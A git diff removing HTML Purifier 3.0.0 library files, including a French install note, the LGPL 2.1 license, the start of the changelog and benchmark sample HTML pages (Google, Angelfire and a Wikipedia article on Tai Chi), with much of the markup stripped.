Purifier (ne inclure pas quand vous -ne devez pas, parce que HTML Purifier est trés grand.) - -Si vous n'aime pas que HTML Purifier change vos include_path, on peut -change vos include_path, et: - - require_once 'HTMLPurifier.php'; - -Seuleument les contents dans library/ est essentiel; vous peut enlever -les autre fichiers quand vous est dans une atmosphère professionnel. - - -[En cours de construction] - - -6. Installation vite - -Si votre site web est en UTF-8 et XHTML Transitional, utilisez: - -purify($html_salle); -?> - -Sinon, utilisez: - -set('Core', 'Encoding', 'ISO-8859-1'); //remplacez avec votre encoding - $config->set('Core', 'XHTML', true); //remplacez avec false si HTML 4.01 - $purificateur = new HTMLPurifier($config); - - $html_propre = $purificateur->purify($html_salle); -?> \ No newline at end of file diff --git a/lib/htmlpurifier-3.0.0/LICENSE b/lib/htmlpurifier-3.0.0/LICENSE deleted file mode 100644 index 5ab7695..0000000 --- a/lib/htmlpurifier-3.0.0/LICENSE +++ /dev/null @@ -1,504 +0,0 @@ - GNU LESSER GENERAL PUBLIC LICENSE - Version 2.1, February 1999 - - Copyright (C) 1991, 1999 Free Software Foundation, Inc. - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - -[This is the first released version of the Lesser GPL. It also counts - as the successor of the GNU Library Public License, version 2, hence - the version number 2.1.] - - Preamble - - The licenses for most software are designed to take away your -freedom to share and change it. By contrast, the GNU General Public -Licenses are intended to guarantee your freedom to share and change -free software--to make sure the software is free for all its users. - - This license, the Lesser General Public License, applies to some -specially designated software packages--typically libraries--of the -Free Software Foundation and other authors who decide to use it. You -can use it too, but we suggest you first think carefully about whether -this license or the ordinary General Public License is the better -strategy to use in any particular case, based on the explanations below. - - When we speak of free software, we are referring to freedom of use, -not price. Our General Public Licenses are designed to make sure that -you have the freedom to distribute copies of free software (and charge -for this service if you wish); that you receive source code or can get -it if you want it; that you can change the software and use pieces of -it in new free programs; and that you are informed that you can do -these things. - - To protect your rights, we need to make restrictions that forbid -distributors to deny you these rights or to ask you to surrender these -rights. These restrictions translate to certain responsibilities for -you if you distribute copies of the library or if you modify it. - - For example, if you distribute copies of the library, whether gratis -or for a fee, you must give the recipients all the rights that we gave -you. You must make sure that they, too, receive or can get the source -code. If you link other code with the library, you must provide -complete object files to the recipients, so that they can relink them -with the library after making changes to the library and recompiling -it. And you must show them these terms so they know their rights. - - We protect your rights with a two-step method: (1) we copyright the -library, and (2) we offer you this license, which gives you legal -permission to copy, distribute and/or modify the library. - - To protect each distributor, we want to make it very clear that -there is no warranty for the free library. Also, if the library is -modified by someone else and passed on, the recipients should know -that what they have is not the original version, so that the original -author's reputation will not be affected by problems that might be -introduced by others. - - Finally, software patents pose a constant threat to the existence of -any free program. We wish to make sure that a company cannot -effectively restrict the users of a free program by obtaining a -restrictive license from a patent holder. Therefore, we insist that -any patent license obtained for a version of the library must be -consistent with the full freedom of use specified in this license. - - Most GNU software, including some libraries, is covered by the -ordinary GNU General Public License. This license, the GNU Lesser -General Public License, applies to certain designated libraries, and -is quite different from the ordinary General Public License. We use -this license for certain libraries in order to permit linking those -libraries into non-free programs. - - When a program is linked with a library, whether statically or using -a shared library, the combination of the two is legally speaking a -combined work, a derivative of the original library. The ordinary -General Public License therefore permits such linking only if the -entire combination fits its criteria of freedom. The Lesser General -Public License permits more lax criteria for linking other code with -the library. - - We call this license the "Lesser" General Public License because it -does Less to protect the user's freedom than the ordinary General -Public License. It also provides other free software developers Less -of an advantage over competing non-free programs. These disadvantages -are the reason we use the ordinary General Public License for many -libraries. However, the Lesser license provides advantages in certain -special circumstances. - - For example, on rare occasions, there may be a special need to -encourage the widest possible use of a certain library, so that it becomes -a de-facto standard. To achieve this, non-free programs must be -allowed to use the library. A more frequent case is that a free -library does the same job as widely used non-free libraries. In this -case, there is little to gain by limiting the free library to free -software only, so we use the Lesser General Public License. - - In other cases, permission to use a particular library in non-free -programs enables a greater number of people to use a large body of -free software. For example, permission to use the GNU C Library in -non-free programs enables many more people to use the whole GNU -operating system, as well as its variant, the GNU/Linux operating -system. - - Although the Lesser General Public License is Less protective of the -users' freedom, it does ensure that the user of a program that is -linked with the Library has the freedom and the wherewithal to run -that program using a modified version of the Library. - - The precise terms and conditions for copying, distribution and -modification follow. Pay close attention to the difference between a -"work based on the library" and a "work that uses the library". The -former contains code derived from the library, whereas the latter must -be combined with the library in order to run. - - GNU LESSER GENERAL PUBLIC LICENSE - TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION - - 0. This License Agreement applies to any software library or other -program which contains a notice placed by the copyright holder or -other authorized party saying it may be distributed under the terms of -this Lesser General Public License (also called "this License"). -Each licensee is addressed as "you". - - A "library" means a collection of software functions and/or data -prepared so as to be conveniently linked with application programs -(which use some of those functions and data) to form executables. - - The "Library", below, refers to any such software library or work -which has been distributed under these terms. A "work based on the -Library" means either the Library or any derivative work under -copyright law: that is to say, a work containing the Library or a -portion of it, either verbatim or with modifications and/or translated -straightforwardly into another language. (Hereinafter, translation is -included without limitation in the term "modification".) - - "Source code" for a work means the preferred form of the work for -making modifications to it. For a library, complete source code means -all the source code for all modules it contains, plus any associated -interface definition files, plus the scripts used to control compilation -and installation of the library. - - Activities other than copying, distribution and modification are not -covered by this License; they are outside its scope. The act of -running a program using the Library is not restricted, and output from -such a program is covered only if its contents constitute a work based -on the Library (independent of the use of the Library in a tool for -writing it). Whether that is true depends on what the Library does -and what the program that uses the Library does. - - 1. You may copy and distribute verbatim copies of the Library's -complete source code as you receive it, in any medium, provided that -you conspicuously and appropriately publish on each copy an -appropriate copyright notice and disclaimer of warranty; keep intact -all the notices that refer to this License and to the absence of any -warranty; and distribute a copy of this License along with the -Library. - - You may charge a fee for the physical act of transferring a copy, -and you may at your option offer warranty protection in exchange for a -fee. - - 2. You may modify your copy or copies of the Library or any portion -of it, thus forming a work based on the Library, and copy and -distribute such modifications or work under the terms of Section 1 -above, provided that you also meet all of these conditions: - - a) The modified work must itself be a software library. - - b) You must cause the files modified to carry prominent notices - stating that you changed the files and the date of any change. - - c) You must cause the whole of the work to be licensed at no - charge to all third parties under the terms of this License. - - d) If a facility in the modified Library refers to a function or a - table of data to be supplied by an application program that uses - the facility, other than as an argument passed when the facility - is invoked, then you must make a good faith effort to ensure that, - in the event an application does not supply such function or - table, the facility still operates, and performs whatever part of - its purpose remains meaningful. - - (For example, a function in a library to compute square roots has - a purpose that is entirely well-defined independent of the - application. Therefore, Subsection 2d requires that any - application-supplied function or table used by this function must - be optional: if the application does not supply it, the square - root function must still compute square roots.) - -These requirements apply to the modified work as a whole. If -identifiable sections of that work are not derived from the Library, -and can be reasonably considered independent and separate works in -themselves, then this License, and its terms, do not apply to those -sections when you distribute them as separate works. But when you -distribute the same sections as part of a whole which is a work based -on the Library, the distribution of the whole must be on the terms of -this License, whose permissions for other licensees extend to the -entire whole, and thus to each and every part regardless of who wrote -it. - -Thus, it is not the intent of this section to claim rights or contest -your rights to work written entirely by you; rather, the intent is to -exercise the right to control the distribution of derivative or -collective works based on the Library. - -In addition, mere aggregation of another work not based on the Library -with the Library (or with a work based on the Library) on a volume of -a storage or distribution medium does not bring the other work under -the scope of this License. - - 3. You may opt to apply the terms of the ordinary GNU General Public -License instead of this License to a given copy of the Library. To do -this, you must alter all the notices that refer to this License, so -that they refer to the ordinary GNU General Public License, version 2, -instead of to this License. (If a newer version than version 2 of the -ordinary GNU General Public License has appeared, then you can specify -that version instead if you wish.) Do not make any other change in -these notices. - - Once this change is made in a given copy, it is irreversible for -that copy, so the ordinary GNU General Public License applies to all -subsequent copies and derivative works made from that copy. - - This option is useful when you wish to copy part of the code of -the Library into a program that is not a library. - - 4. You may copy and distribute the Library (or a portion or -derivative of it, under Section 2) in object code or executable form -under the terms of Sections 1 and 2 above provided that you accompany -it with the complete corresponding machine-readable source code, which -must be distributed under the terms of Sections 1 and 2 above on a -medium customarily used for software interchange. - - If distribution of object code is made by offering access to copy -from a designated place, then offering equivalent access to copy the -source code from the same place satisfies the requirement to -distribute the source code, even though third parties are not -compelled to copy the source along with the object code. - - 5. A program that contains no derivative of any portion of the -Library, but is designed to work with the Library by being compiled or -linked with it, is called a "work that uses the Library". Such a -work, in isolation, is not a derivative work of the Library, and -therefore falls outside the scope of this License. - - However, linking a "work that uses the Library" with the Library -creates an executable that is a derivative of the Library (because it -contains portions of the Library), rather than a "work that uses the -library". The executable is therefore covered by this License. -Section 6 states terms for distribution of such executables. - - When a "work that uses the Library" uses material from a header file -that is part of the Library, the object code for the work may be a -derivative work of the Library even though the source code is not. -Whether this is true is especially significant if the work can be -linked without the Library, or if the work is itself a library. The -threshold for this to be true is not precisely defined by law. - - If such an object file uses only numerical parameters, data -structure layouts and accessors, and small macros and small inline -functions (ten lines or less in length), then the use of the object -file is unrestricted, regardless of whether it is legally a derivative -work. (Executables containing this object code plus portions of the -Library will still fall under Section 6.) - - Otherwise, if the work is a derivative of the Library, you may -distribute the object code for the work under the terms of Section 6. -Any executables containing that work also fall under Section 6, -whether or not they are linked directly with the Library itself. - - 6. As an exception to the Sections above, you may also combine or -link a "work that uses the Library" with the Library to produce a -work containing portions of the Library, and distribute that work -under terms of your choice, provided that the terms permit -modification of the work for the customer's own use and reverse -engineering for debugging such modifications. - - You must give prominent notice with each copy of the work that the -Library is used in it and that the Library and its use are covered by -this License. You must supply a copy of this License. If the work -during execution displays copyright notices, you must include the -copyright notice for the Library among them, as well as a reference -directing the user to the copy of this License. Also, you must do one -of these things: - - a) Accompany the work with the complete corresponding - machine-readable source code for the Library including whatever - changes were used in the work (which must be distributed under - Sections 1 and 2 above); and, if the work is an executable linked - with the Library, with the complete machine-readable "work that - uses the Library", as object code and/or source code, so that the - user can modify the Library and then relink to produce a modified - executable containing the modified Library. (It is understood - that the user who changes the contents of definitions files in the - Library will not necessarily be able to recompile the application - to use the modified definitions.) - - b) Use a suitable shared library mechanism for linking with the - Library. A suitable mechanism is one that (1) uses at run time a - copy of the library already present on the user's computer system, - rather than copying library functions into the executable, and (2) - will operate properly with a modified version of the library, if - the user installs one, as long as the modified version is - interface-compatible with the version that the work was made with. - - c) Accompany the work with a written offer, valid for at - least three years, to give the same user the materials - specified in Subsection 6a, above, for a charge no more - than the cost of performing this distribution. - - d) If distribution of the work is made by offering access to copy - from a designated place, offer equivalent access to copy the above - specified materials from the same place. - - e) Verify that the user has already received a copy of these - materials or that you have already sent this user a copy. - - For an executable, the required form of the "work that uses the -Library" must include any data and utility programs needed for -reproducing the executable from it. However, as a special exception, -the materials to be distributed need not include anything that is -normally distributed (in either source or binary form) with the major -components (compiler, kernel, and so on) of the operating system on -which the executable runs, unless that component itself accompanies -the executable. - - It may happen that this requirement contradicts the license -restrictions of other proprietary libraries that do not normally -accompany the operating system. Such a contradiction means you cannot -use both them and the Library together in an executable that you -distribute. - - 7. You may place library facilities that are a work based on the -Library side-by-side in a single library together with other library -facilities not covered by this License, and distribute such a combined -library, provided that the separate distribution of the work based on -the Library and of the other library facilities is otherwise -permitted, and provided that you do these two things: - - a) Accompany the combined library with a copy of the same work - based on the Library, uncombined with any other library - facilities. This must be distributed under the terms of the - Sections above. - - b) Give prominent notice with the combined library of the fact - that part of it is a work based on the Library, and explaining - where to find the accompanying uncombined form of the same work. - - 8. You may not copy, modify, sublicense, link with, or distribute -the Library except as expressly provided under this License. Any -attempt otherwise to copy, modify, sublicense, link with, or -distribute the Library is void, and will automatically terminate your -rights under this License. However, parties who have received copies, -or rights, from you under this License will not have their licenses -terminated so long as such parties remain in full compliance. - - 9. You are not required to accept this License, since you have not -signed it. However, nothing else grants you permission to modify or -distribute the Library or its derivative works. These actions are -prohibited by law if you do not accept this License. Therefore, by -modifying or distributing the Library (or any work based on the -Library), you indicate your acceptance of this License to do so, and -all its terms and conditions for copying, distributing or modifying -the Library or works based on it. - - 10. Each time you redistribute the Library (or any work based on the -Library), the recipient automatically receives a license from the -original licensor to copy, distribute, link with or modify the Library -subject to these terms and conditions. You may not impose any further -restrictions on the recipients' exercise of the rights granted herein. -You are not responsible for enforcing compliance by third parties with -this License. - - 11. If, as a consequence of a court judgment or allegation of patent -infringement or for any other reason (not limited to patent issues), -conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot -distribute so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you -may not distribute the Library at all. For example, if a patent -license would not permit royalty-free redistribution of the Library by -all those who receive copies directly or indirectly through you, then -the only way you could satisfy both it and this License would be to -refrain entirely from distribution of the Library. - -If any portion of this section is held invalid or unenforceable under any -particular circumstance, the balance of the section is intended to apply, -and the section as a whole is intended to apply in other circumstances. - -It is not the purpose of this section to induce you to infringe any -patents or other property right claims or to contest validity of any -such claims; this section has the sole purpose of protecting the -integrity of the free software distribution system which is -implemented by public license practices. Many people have made -generous contributions to the wide range of software distributed -through that system in reliance on consistent application of that -system; it is up to the author/donor to decide if he or she is willing -to distribute software through any other system and a licensee cannot -impose that choice. - -This section is intended to make thoroughly clear what is believed to -be a consequence of the rest of this License. - - 12. If the distribution and/or use of the Library is restricted in -certain countries either by patents or by copyrighted interfaces, the -original copyright holder who places the Library under this License may add -an explicit geographical distribution limitation excluding those countries, -so that distribution is permitted only in or among countries not thus -excluded. In such case, this License incorporates the limitation as if -written in the body of this License. - - 13. The Free Software Foundation may publish revised and/or new -versions of the Lesser General Public License from time to time. -Such new versions will be similar in spirit to the present version, -but may differ in detail to address new problems or concerns. - -Each version is given a distinguishing version number. If the Library -specifies a version number of this License which applies to it and -"any later version", you have the option of following the terms and -conditions either of that version or of any later version published by -the Free Software Foundation. If the Library does not specify a -license version number, you may choose any version ever published by -the Free Software Foundation. - - 14. If you wish to incorporate parts of the Library into other free -programs whose distribution conditions are incompatible with these, -write to the author to ask for permission. For software which is -copyrighted by the Free Software Foundation, write to the Free -Software Foundation; we sometimes make exceptions for this. Our -decision will be guided by the two goals of preserving the free status -of all derivatives of our free software and of promoting the sharing -and reuse of software generally. - - NO WARRANTY - - 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO -WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. -EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR -OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY -KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE -LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME -THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN -WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY -AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU -FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR -CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE -LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING -RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A -FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF -SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH -DAMAGES. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Libraries - - If you develop a new library, and you want it to be of the greatest -possible use to the public, we recommend making it free software that -everyone can redistribute and change. You can do so by permitting -redistribution under these terms (or, alternatively, under the terms of the -ordinary General Public License). - - To apply these terms, attach the following notices to the library. It is -safest to attach them to the start of each source file to most effectively -convey the exclusion of warranty; and each file should have at least the -"copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - -Also add information on how to contact you by electronic and paper mail. - -You should also get your employer (if you work as a programmer) or your -school, if any, to sign a "copyright disclaimer" for the library, if -necessary. Here is a sample; alter the names: - - Yoyodyne, Inc., hereby disclaims all copyright interest in the - library `Frob' (a library for tweaking knobs) written by James Random Hacker. - - , 1 April 1990 - Ty Coon, President of Vice - -That's all there is to it! - - diff --git a/lib/htmlpurifier-3.0.0/NEWS b/lib/htmlpurifier-3.0.0/NEWS deleted file mode 100644 index 0ff188c..0000000 --- a/lib/htmlpurifier-3.0.0/NEWS +++ /dev/null @@ -1,527 +0,0 @@ -NEWS ( CHANGELOG and HISTORY ) HTMLPurifier -||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| - -= KEY ==================== - # Breaks back-compat - ! Feature - - Bugfix - + Sub-comment - . Internal change -========================== - -3.0.0, released 2008-01-06 -# HTML Purifier is PHP 5 only! The 2.1.x branch will be maintained - until PHP 4 is completely deprecated, but no new features will be added - to it. - + Visibility declarations added - + Constructor methods renamed to __construct() - + PHP4 reference cruft removed (in progress) -! CSS properties are now case-insensitive -! DefinitionCacheFactory now can register new implementations -! New HTMLPurifier_Filter_ExtractStyleBlocks for extracting - -
edwardzyang@gmail.com | Personalized Home | Search History | My Account | Sign out
Google

-
Web    Images    Groups    News    Froogle    Local    more »
 
  Advanced Search
  Preferences
  Language Tools


Advertising Programs - Business Solutions - About Google

©2006 Google

\ No newline at end of file diff --git a/lib/htmlpurifier-3.0.0/benchmarks/samples/Lexer/3.html b/lib/htmlpurifier-3.0.0/benchmarks/samples/Lexer/3.html deleted file mode 100644 index c76c5cf..0000000 --- a/lib/htmlpurifier-3.0.0/benchmarks/samples/Lexer/3.html +++ /dev/null @@ -1,128 +0,0 @@ - - -Anime Digi-Lib Index - - - -
- -
- - - - - - - - - - - - - - - - « - - Previous | - Top 100 | - Next - - - » - - - - -
- - - - - - - - - - -
 Search:The WebAngelfire    Planet
-
- Edit your Site show site directoryBrowse Sites hosted by angelfire
  - Vonagehosted by angelfire
-
-
- - -
- - - -
- - - - - -
-

May 1, 2000

-

Pop Culture

-

by. H. Finkelstein

- -
-

Welcome to the Anime Digi-Lib, a virtual index to anime on the - internet. This site strives to house a comprehensive index to both personal - and commercial websites and provides reviews to these sites. We hope to - be a gateway for people who've never imagined they'd ever be interested - in Japanese Animation.

- - - - - - -
-

 

-

 

- -
- - - - - - - - - - - - - - - - -
Search term:
Case-sensitive - -yes
exactfuzzy
-
- - -
- - - - - -
What is better, subtitled or dubbed anime?
Subtitled
Current results
Free - Web Polls
- -
- - - diff --git a/lib/htmlpurifier-3.0.0/benchmarks/samples/Lexer/4.html b/lib/htmlpurifier-3.0.0/benchmarks/samples/Lexer/4.html deleted file mode 100644 index 095a1d3..0000000 --- a/lib/htmlpurifier-3.0.0/benchmarks/samples/Lexer/4.html +++ /dev/null @@ -1,540 +0,0 @@ - - - - - - - - Tai Chi Chuan - Wikipedia, the free encyclopedia - - - - - - - - - - - - - - - - - -
-
-
- - -
Registration for Wikimania 2006 is open.   
-

Tai Chi Chuan

-
-

From Wikipedia, the free encyclopedia

- -
-
Jump to: navigation, search
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
???
- -
-
-
Yang Chengfu in a posture from the Tai Chi solo form known as Single Whip, circa 1918 -
-
Enlarge
-Yang Chengfu in a posture from the Tai Chi solo form known as Single Whip, circa 1918
-
-
-
-
Chinese Name
Hanyu PinyinTàijíquán
Wade-GilesT'ai4 Chi2 Ch'üan2
Simplified Chinese???
Traditional Chinese???
Cantonesetaai3 gik6 kyun4
Japanese Hiragana???????
Korean???
VietnameseThái C?c Quy?n
-

Tai Chi Chuan, T'ai Chi Ch'üan or Taijiquan (Traditional Chinese: ???; Simplified Chinese: ???; pinyin: Tàijíquán; literally "supreme ultimate fist"), commonly known as Tai Chi, T'ai Chi, or Taiji, is an internal Chinese martial art. There are different styles of T'ai Chi Ch'üan, although most agree they are all based on the system originally taught by the Chen family to the Yang family starting in 1820. It is often promoted and practiced as a martial arts therapy for the purposes of health and longevity, (some recent medical studies support its effectiveness). T'ai Chi Ch'üan is considered a soft style martial art, an art applied with as complete a relaxation or "softness" in the musculature as possible, to distinguish its theory and application from that of the hard martial art styles which use a degree of tension in the muscles.

- -

Variations of T'ai Chi Ch'üan's basic training forms are well known as the slow motion routines that groups of people practice every morning in parks across China and other parts of the world. Traditional T'ai Chi training is intended to teach awareness of one's own balance and what affects it, awareness of the same in others, an appreciation of the practical value in one's ability to moderate extremes of behavior and attitude at both mental and physical levels, and how this applies to effective self-defense principles.

- - - - -
-
-

Contents

-
- -
-

- - -

-

Overview

-

Historically, T'ai Chi Ch'üan has been regarded as a martial art, and its traditional practitioners still teach it as one. Even so, it has developed a worldwide following among many thousands of people with little or no interest in martial training for its aforementioned benefits to health and health maintenance. Some call it a form of moving meditation, and T'ai Chi theory and practice evolved in agreement with many of the principles of traditional Chinese medicine. Besides general health benefits and stress management attributed to beginning and intermediate level T'ai Chi training, many therapeutic interventions along the lines of traditional Chinese medicine are taught to advanced T'ai Chi students.

-

T'ai Chi Ch'üan as physical training is characterized by its requirement for the use of leverage through the joints based on coordination in relaxation rather than muscular tension in order to neutralize or initiate physical attacks. The slow, repetitive work involved in that process is said to gently increase and open the internal circulation (breath, body heat, blood, lymph, peristalsis, etc.). Over time, proponents say, this enhancement becomes a lasting effect, a direct reversal of the constricting physical effects of stress on the human body. This reversal allows much more of the students' native energy to be available to them, which they may then apply more effectively to the rest of their lives; families, careers, spiritual or creative pursuits, hobbies, etc.

- -

The study of T'ai Chi Ch'üan involves three primary subjects:

-
    -
  • Health - an unhealthy or otherwise uncomfortable person will find it difficult to meditate to a state of calmness or to use T'ai Chi as a martial art. T'ai Chi's health training therefore concentrates on relieving the physical effects of stress on the body and mind.
  • -
  • Meditation - the focus meditation and subsequent calmness cultivated by the meditative aspect of T'ai Chi is seen as necessary to maintain optimum health (in the sense of effectively maintaining stress relief or homeostasis) and in order to use it as a soft style martial art.
  • -
  • Martial art - the ability to competently use T'ai Chi as a martial art is said to be proof that the health and meditation aspects are working according to the dictates of the theory of T'ai Chi Ch'üan.
  • - -
-

In its traditional form (many modern variations exist which ignore at least one of the above requirements) every aspect of its training has to conform with all three of the aforementioned categories.

-

The Mandarin term "T'ai Chi Ch'üan" translates as "Supreme Ultimate Boxing" or "Boundless Fist". T'ai Chi training involves learning solo routines, known as forms, and two person routines, known as pushing hands, as well as acupressure-related manipulations taught by traditional schools. T'ai Chi Ch'üan is seen by many of its schools as a variety of Taoism, and it does seemingly incorporate many Taoist principles into its practice (see below). It is an art form said to date back many centuries (although not reliably documented under that name before 1850), with precursor disciplines dating back thousands of years. The explanation given by the traditional T'ai Chi family schools for why so many of their previous generations have dedicated their lives to the study and preservation of the art is that the discipline it seems to give its students to dramatically improve the effects of stress in their lives, with a few years of hard work, should hold a useful purpose for people living in a stressful world. They say that once the T'ai Chi principles have been understood and internalized into the bodily framework the practitioner will have an immediately accessible "toolkit" thereby to improve and then maintain their health, to provide a meditative focus, and that can work as an effective and subtle martial art for self-defense.

-

Teachers say the study of T'ai Chi Ch'üan is, more than anything else, about challenging one's ability to change oneself appropriately in response to outside forces. These principles are taught using the examples of physics as experienced by two (or more) bodies in combat. In order to be able to protect oneself or someone else by using change, it is necessary to understand what the consequences are of changing appropriately, changing inappropriately and not changing at all in response to an attack. Students, by this theory, will appreciate the full benefits of the entire art in the fastest way through physical training of the martial art aspect.

- -

Wu Chien-ch'üan, co-founder of the Wu family style, described the name T'ai Chi Ch'üan this way at the beginning of the 20th century:

-
-
"Various people have offered different explanations for the name T'ai Chi Ch'uan. Some have said: 'In terms of self-cultivation, one must train from a state of movement towards a state of stillness. T'ai Chi comes about through the balance of yin and yang. In terms of the art of attack and defense then, in the context of the changes of full and empty, one is constantly internally latent, not outwardly expressive, as if the yin and yang of T'ai Chi have not yet divided apart.'
- -
Others say: 'Every movement of T'ai Chi Ch'uan is based on circles, just like the shape of a T'ai Chi symbol. Therefore, it is called T'ai Chi Ch'uan.' Both explanations are quite reasonable, especially the second, which is more complete."
-
- -

- -

Training and techniques

-
-
The T'ai Chi Symbol or T'ai Chi T'u (Taijitu) -
-
Enlarge
-The T'ai Chi Symbol or T'ai Chi T'u (Taijitu)
-
-
-

As the name T'ai Chi Ch'üan is held to be derived from the T'ai Chi symbol, the taijitu or t'ai chi t'u (???, pinyin tàijítú), commonly known in the West as the "yin-yang" diagram, T'ai Chi Ch'üan techniques are said therefore to physically and energetically balance yin (receptive) and yang (active) principles: "From ultimate softness comes ultimate hardness."

- -

The core training involves two primary features: the first being the solo form or ch'üan, a slow sequence of movements which emphasize a straight spine, relaxed breathing and a natural range of motion; the second being different styles of pushing hands or t'ui shou (??) for training "stickiness" and sensitivity in the reflexes through various motions from the forms in concert with a training partner in order to learn leverage, timing, coordination and positioning when interacting with another. Pushing hands is seen as necessary not only for training the self-defense skills of a soft style such as T'ai Chi by demonstrating the forms' movement principles experientially, but also it is said to improve upon the level of conditioning provided by practice of the solo forms by increasing the workload on students while they practice those movement principles.

-

The solo form should take the students through a complete, natural, range of motion over their centre of gravity. Accurate, repeated practice of the solo routine is said to retrain posture, encourage circulation throughout the students' bodies, maintain flexibility through their joints and further familiarize students with the martial application sequences implied by the forms. The major traditional styles of T'ai Chi have forms which differ somewhat cosmetically, but there are also many obvious similarities which point to their common origin. The solo forms, empty-hand and weapon, are catalogues of movements that are practised individually in pushing hands and martial application scenarios to prepare students for self-defence training. In most traditional schools different variations of the solo forms can be practiced; fast/slow, small circle/large circle, square/round (which are different expressions of leverage through the joints), low sitting/high sitting (the degree to which weight-bearing knees are kept bent throughout the form), for example.

-

In a fight, if one uses hardness to resist violent force then both sides are certain to be injured, at least to some degree. Such injury, according to T'ai Chi theory, is a natural consequence of meeting brute force with brute force. The collision of two like forces, yang with yang, is known as "double-weighted" in T'ai Chi terminology. Instead, students are taught not to fight or resist an incoming force, but to meet it in softness and "stick" to it, following its motion while remaining in physical contact until the incoming force of attack exhausts itself or can be safely redirected, the result of meeting yang with yin. Done correctly, achieving this yin/yang or yang/yin balance in combat (and, by extension, other areas of one's life) is known as being "single-weighted" and is a primary goal of T'ai Chi Ch'üan training. Lao Tzu provided the archetype for this in the Tao Te Ching when he wrote, "The soft and the pliable will defeat the hard and strong." This soft "neutralization" of an attack can be accomplished very quickly in an actual fight by an adept practitioner. A T'ai Chi student has to be well conditioned by many years of disciplined training; stable, sensitive and elastic mentally and physically in order to realize this ability, however.

- -

Other training exercises include:

-
    -
  • Weapons training and fencing applications employing the straight sword known as the jian or chien or gim (jiàn ?), a heavier curved sabre, sometimes called a broadsword or tao (dao ?, which is actually considered a big knife), folding fan, staff (?), 7 foot (2 m) spear and 13 foot (4 m) lance (both called qiang ?). More exotic weapons still used by some traditional styles are the large Da Dao or Ta Tao (??) sabre, halberd (ji ?), cane, rope-dart, three sectional staff, lasso, whip, chain whip and steel whip.
  • - -
  • Two-person tournament sparring (as part of push hands competitions and/or san shou ??);
  • -
  • Breathing exercises; nei kung (?? nèigong) or, more commonly, ch'i kung (?? qìgong) to develop ch'i (? qì) or "breath energy" in coordination with physical movement and post standing or combinations of the two. These were formerly taught only to disciples as a separate, complementary training system. In the last 50 years they have become more well known to the general public.
  • - -
-

T'ai Chi's martial aspect relies on sensitivity to the opponent's movements and centre of gravity dictating appropriate responses. Effectively affecting or "capturing" the opponent's centre of gravity immediately upon contact is trained as the primary goal of the martial T'ai Chi student, and from there all other technique can follow with seeming effortlessness. The alert calmness required to achieve the necessary sensitivity is acquired over thousands of hours of first yin (slow, repetitive, meditative, low impact) and then later adding yang ("realistic," active, fast, high impact) martial training; forms, pushing hands and sparring. T'ai Chi Ch'üan trains in three basic ranges, close, medium and long, and then everything in between. Pushes and open hand strikes are more common than punches, and kicks are usually to the legs and lower torso, never higher than the hip in most styles. The fingers, fists, palms, sides of the hands, wrists, forearms, elbows, shoulders, back, hips, knees and feet are commonly used to strike, with strikes to the eyes, throat, heart, groin and other acupressure points trained by advanced students. There is an extensive repertoire of joint traps, locks and breaks (chin na), particularly applied to lock up or break an opponent's elbows, wrists, fingers, ankles, back or neck. Most T'ai Chi teachers expect their students to thoroughly learn defensive or neutralizing skills first, and a student will have to demonstrate proficiency with them before offensive skills will be extensively trained. There is also an emphasis in the traditional schools on kind-heartedness. One is expected to show mercy to one's opponents, as instanced by a poem preserved in some of the T'ai Chi families said to be derived from the Shaolin temple:

-
-
"I would rather maim than kill
- -
Hurt than maim
-
Intimidate than hurt
-
Avoid than intimidate."
-
-
-
An outdoor Chen style class in Beijing -
-
Enlarge
-An outdoor Chen style class in Beijing
-
-
- - -

-

Styles and history

-

There are five major styles of T'ai Chi Ch'üan, each named after the Chinese family that teaches (or taught) it:

- -

The order of seniority is as listed above. The order of popularity is Yang, Wu, Chen, Sun, and Wu/Hao. The first five major family styles share much underlying theory, but differ in their approaches to training.

-

